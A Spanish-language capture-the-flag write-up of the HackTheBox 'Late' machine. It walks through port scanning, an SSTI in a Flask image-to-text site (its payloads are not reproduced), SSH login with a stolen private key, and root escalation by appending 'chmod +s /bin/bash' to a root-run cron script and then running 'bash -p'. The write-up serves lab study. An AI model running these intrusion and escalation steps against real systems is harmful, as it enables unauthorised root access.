Post

HackTheBox - Late

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: SSTI, Crontab Exploitation

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

Al investigar la página web encontraremos 1 dominio y 1 subdominio (late.htb e images.late.htb), los cuales agregamos al fichero /etc/hosts

c. La página web de images.late.htb ofrecen el servicio de transformar imágenes a texto y la parte más importante es que está realizado con Flask (Python). Siempre que tengamos cualquier sistema con esta tecnología debemos testear un SSTI

  • Creamos una imagen con el siguiente payload

  • Subimos la imagen al servicio y veremos el contenido del fichero que se nos descarga

d. Como vimos anteriormente la página web es vulnerable a un SSTI, ahora, nos entablaremos una reverse shell

  • Payload: ``

Escalada de Privilegios 💹

a. El usuario svc_acc tiene pares de claves id_rsa, copiamos la privada en nuestra máquina y nos conectaremos por el servicio SSH

1
2
3
chmod 600 id_rsa
❯ ssh svc_acc@10.10.11.156 -i id_rsa
svc_acc@late:~$

b. Para enumerar posibles tareas cron, subimos el pspy64

1
2
3
4
5
svc_acc@late:/dev/shm$ chmod +x pspy64 
svc_acc@late:/dev/shm$ ./pspy64

<SNIP>
2023/09/16 01:03:01 CMD: UID=0     PID=2205   | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
  • Vemos que se ejecutar un ‘/usr/local/sbin/ssh-alert.sh’. Ahora, nos volveremos a conectar por el servicio SSH para saber cual es el usuario que ejecuta esta tarea

  • Como la tarea la ejecuta el usuario root, podemos inyectar un código para colocar el permiso SUID a la bash

d. Nos encontraremos con un ‘traba’ al momento de colocar el código

1
2
svc_acc@late:/dev/shm$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh

El fichero tiene el atributo ‘append-only’ lo que significa únicamente podemos añadir contenido.

  • La forma de ‘bypassear’ esto es agregando el contenido al final del fichero

    1
    
      svc_acc@late:/dev/shm$ echo 'chmod +s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
    
  • Como último paso, nos autenticamos por SSH (Debemos hacerlo rápido) y la bash ya tendrá el permiso SUID

    1
    2
    3
    4
    5
    
      svc_acc@late:/dev/shm$ ls -la /bin/bash
      -rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash
      svc_acc@late:/dev/shm$ bash -p
      bash-4.4# whoami
      root
    
This post is licensed under CC BY 4.0 by the author.